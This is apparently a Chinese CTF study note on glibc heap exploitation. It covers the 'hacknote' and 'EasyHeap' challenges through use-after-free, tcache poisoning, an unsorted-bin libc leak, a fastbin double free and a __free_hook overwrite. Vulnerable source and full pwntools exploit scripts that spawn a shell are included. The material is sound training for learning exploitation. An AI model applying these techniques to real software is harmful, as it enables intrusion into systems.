hacknote
附件下载:hacknote
略过一些利用 ida 看反汇编代码的技巧(看出它藏了一个结构体,把指针改造成数组等),直接来看源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct note {
void (*printnote)();
char *content;
};
// 定义结构体,由于 32 位程序,一个指针占 4 字节,故结构体 note 占 8 字节
struct note *notelist[5];
int count = 0;
void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
int i;
char buf[8];
int size;
if (count > 5) {
puts("Full");
return;
}
for (i = 0; i < 5; i++) {
if (!notelist[i]) {
notelist[i] = (struct note *)malloc(sizeof(struct note)); // 此处分配一个 8 字节大小的空间
if (!notelist[i]) {
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size); // 此处分配一个 size 字节大小的空间
if (!notelist[i]->content) {
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
count++;
break;
}
}
}
void del_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]); // 漏洞点,free 完后仍然可以使用
puts("Success");
}
}
void print_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
notelist[idx]->printnote(notelist[idx]);
}
}
void magic() { system("cat flag"); }
void menu() {
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch (atoi(buf)) {
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}
经典菜单题,并且有一个 magic 函数提供了 system.
漏洞点:del_note()
函数中 free 后仍然可以使用,即存在 UAF 漏洞。
由于 fastbins 的机制会将相同大小的堆块放在一起,那么,如果我们先:
addnote(0x30, "a")
addnote(0x30, "b")
即依次分配 0x8, 0x30, 0x8, 0x30 的几个堆块(分别记为 A, B, C, D),再
delnote(1)
delnote(0)
即依次释放 D, C, B, A,fastbins 会把 A, C 放一块,B, D 放一块
(诶,其实是 tcachebins 而非 fastbins,不过效果是一样的)
那么我们再次申请 8 个字节的堆块的时候,程序就会把 A -> C 作为 struct 和 content ,这时候我们就可以自由修改 content 的内容,然而堆块 1 虽然被释放了,但仍然可以使用,这样指针就跳到我们写入的 content 的位置,从而实现劫持。
另一个小技巧:system(“xxx;sh”) 就可以实现 system(“/bin/sh”) 的效果。原因是系统会分别执行分号前后的语句,不管 xxx 是不是正确的命令。
system_addr = elf.plt['system']
addnote(0x30, "a")
addnote(0x30, "b")
delnote(1)
delnote(0)
addnote(0x8, p32(system_addr) + b";sh")
printnote(1)
End.
堆入门 & EasyHeap
查看 libc 版本
strings ./libc.so.6 | grep "GNU"
查看内存分配
vmmap
查看堆详细信息
heap
堆空间被释放后会进入 bin
bins
先释放 A,A 进入某个 bins,再释放 B,B 进入 bins 并且将指针指向 A,再释放 A 时 A 再次进入 bins 将指针指向 B,这样就构成了一个无限长的链。
p main_arena
高版本可以将 gllibc-all-in-one 中的 ./.debug/.build-id 复制到对应文件夹,提高 debug 效率。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
int v5; // [rsp+4h] [rbp-2Ch] BYREF
int v6; // [rsp+8h] [rbp-28h] BYREF
int v7; // [rsp+Ch] [rbp-24h] BYREF
void *buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v9; // [rsp+18h] [rbp-18h]
v9 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v5);
switch ( v5 )
{
case 1:
printf("idx: ");
__isoc99_scanf("%d", &v6);
printf("size: ");
__isoc99_scanf("%d", &v7);
v3 = v6;
array[v3] = (__int64)malloc(v7);
break;
case 2:
printf("idx: ");
__isoc99_scanf("%d", &v7);
free((void *)array[v7]); // UAF(Use After Free)漏洞:未将 array[v7] 初始化
break;
case 3:
printf("idx: ");
__isoc99_scanf("%d", &v7);
puts((const char *)array[v7]);
break;
case 4:
printf("idx: ");
__isoc99_scanf("%d", &v7);
printf("content: ");
buf = malloc(0x100uLL);
read(0, buf, 0x100uLL); // \x00 截断,故下面填充时填满 8 字节
strcpy((char *)array[v7], (const char *)buf); // 如果申请堆块大小是 0x50 则会溢出 0x100-0x50 长度的字节
break;
case 5:
exit(0);
default:
continue;
}
}
}
int menu()
{
puts("1. add");
puts("2. delete");
puts("3. show");
puts("4. edit");
return puts("5. exit");
}
tcache_fd_hijack
通过修改 tcache 能够进行挟持,原理即修改指向下一个堆块的指针。
def add(id, size):
io.sendlineafter('5. exit\n', '1')
io.sendlineafter('idx: ', str(id))
io.sendlineafter('size: ', str(size))
def delete(id):
io.sendlineafter('5. exit\n', '2')
io.sendlineafter('idx: ', str(id))
def show(id):
io.sendlineafter('5. exit\n', '3')
io.sendlineafter('idx: ', str(id))
def edit(id, content):
io.sendlineafter('5. exit\n', '4')
io.sendlineafter('idx: ', str(id))
io.sendafter('content: ', content)
先写好菜单函数,方便后续代码编写。
add(0, 0x50) # A
add(1, 0x50) # B
delete(0)
delete(1)
构造两个堆块(并删除),此时指针由 B 指向 A,通过 gdb 命令 bins
可以查看:
高地址堆块后创建,说明 **c0 为 B 堆块, **60 为 A 堆块。
释放后实际上我们仍然能够修改堆块中的值:
edit(1, flat([
0xbeefdeaddeadbeef
])) # 填充满 8 个字节
可以看到堆块中信息已被我们成功篡改。
unsortedbin_leak
利用大堆块泄露 libc 信息:
add(0, 0x500) # 大堆块
add(1, 0x50) # block 阻断用, 没这个就进不去 unsortedbin,而是直接被 top chunk 合并
delete(0)
删除后堆块进入 unsortedbin
通过 show 即可泄露 main_arena 的地址。
大堆块融合
add(0, 0x500)
add(1, 0x500)
add(2, 0x50)
delete(0)
delete(1)
同时删除相邻大堆块会使之融合。例子中会融合成一个 0xA21 大小的堆块。
double free
# 释放 7 个把 tcache 填满
for i in range(9):
add(i, 0x60)
for i in range(7):
delete(i + 2)
# double free,0,1块进入 fastbins
delete(0)
delete(1)
delete(0)
# 耗尽 tcache
for i in range(7):
add(i + 2, 0x60)
# 把 double free 过的堆块重新申请出来,获得修改地址的权限
add(0, 0x60)
# 任意修改地址
edit(0, flat([
0xdeadbeefdeadbeef
]))
tcachebin 默认最多分配 7 个堆块。
在free
函数被调用时,内存管理器会将释放的内存块放回到一个空闲链表中,并将块指向链表的下一个空闲块。通过double free
,索引0
指向的内存块已经在链表中,但它被再次释放,从而使得链表结构被破坏。此时,链表中存在两个指向同一块内存的指针。
诶,所以为什么要大费周章地填满 tcache,清除 tcache 呢?因为在 tcache 里面 double free 会直接报错(防御机制是遍历,躲不过啊躲不过),而 fastbin 直接消除了它挨个判断的可能性,所以 double free 可以正常打。
hook 链
libc 2.34 版本之前可以用 hook 链打法。2.34 版本取消了 malloc_hook realloc_hook free_hook exit_hook 等各种 hook,自此堆利用方向转向 iofile.
查看 __malloc_hook
:
x/20xg &__malloc_hook
malloc
函数执行时先判断 __malloc_hook
是否为空,若为空,则继续执行,若不为空,则先跳转到 __malloc_hook
指向的地址执行。
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn2')
# io = remote('train2024.hitctf.cn', 26738)
libc = ELF('./libc.so.6')
gdb.attach(io)
def add(id, size):
io.sendlineafter('5. exit\n', '1')
io.sendlineafter('idx: ', str(id))
io.sendlineafter('size: ', str(size))
def delete(id):
io.sendlineafter('5. exit\n', '2')
io.sendlineafter('idx: ', str(id))
def show(id):
io.sendlineafter('5. exit\n', '3')
io.sendlineafter('idx: ', str(id))
def edit(id, content):
io.sendlineafter('5. exit\n', '4')
io.sendlineafter('idx: ', str(id))
io.sendafter('content: ', content)
add(0, 0x500) # 大堆块
add(1, 0x50) # block 阻断用
delete(0)
show(0)
addr = u64(io.recv(6).ljust(8, b'\x00'))
main_arena = addr - 96
# success('main_arena: ' + hex(main_arena))
libc_base = main_arena - (0x7f5bdf57ac40 - 0x7f5bdf18f000)
success('libc_base: ' + hex(libc_base))
# 申请 9 个堆块
for i in range(9):
add(i, 0x60)
# 释放 7 个堆块,填满 tcache
for i in range(7):
delete(i + 2)
# 释放 2 个堆块,进入 unsorted bin
delete(0)
delete(1)
# double free
delete(0)
# 申请 7 个堆块,清空 tcache
for i in range(7):
add(i + 2, 0x60)
# 申请 1 个堆块,这个堆块是从 unsorted bin 中分配的
add(0, 0x60)
# 修改 fd 指针,使得 fd 指向 __free_hook
edit(0, flat([
libc_base + libc.sym['__free_hook']
]))
# 连续申请堆块,直到申请出 __free_hook 的堆块
add(1, 0x60)
add(1, 0x60)
add(1, 0x60)
# 修改 __free_hook 中的值指向 system
edit(1, flat([
libc_base + libc.sym['system']
]))
# 申请一个堆块,这个堆块的内容是 /bin/sh\x00
edit(2, flat([
b'/bin/sh\x00'
]))
# 触发 free('/bin/sh')
delete(2)
io.interactive()
End.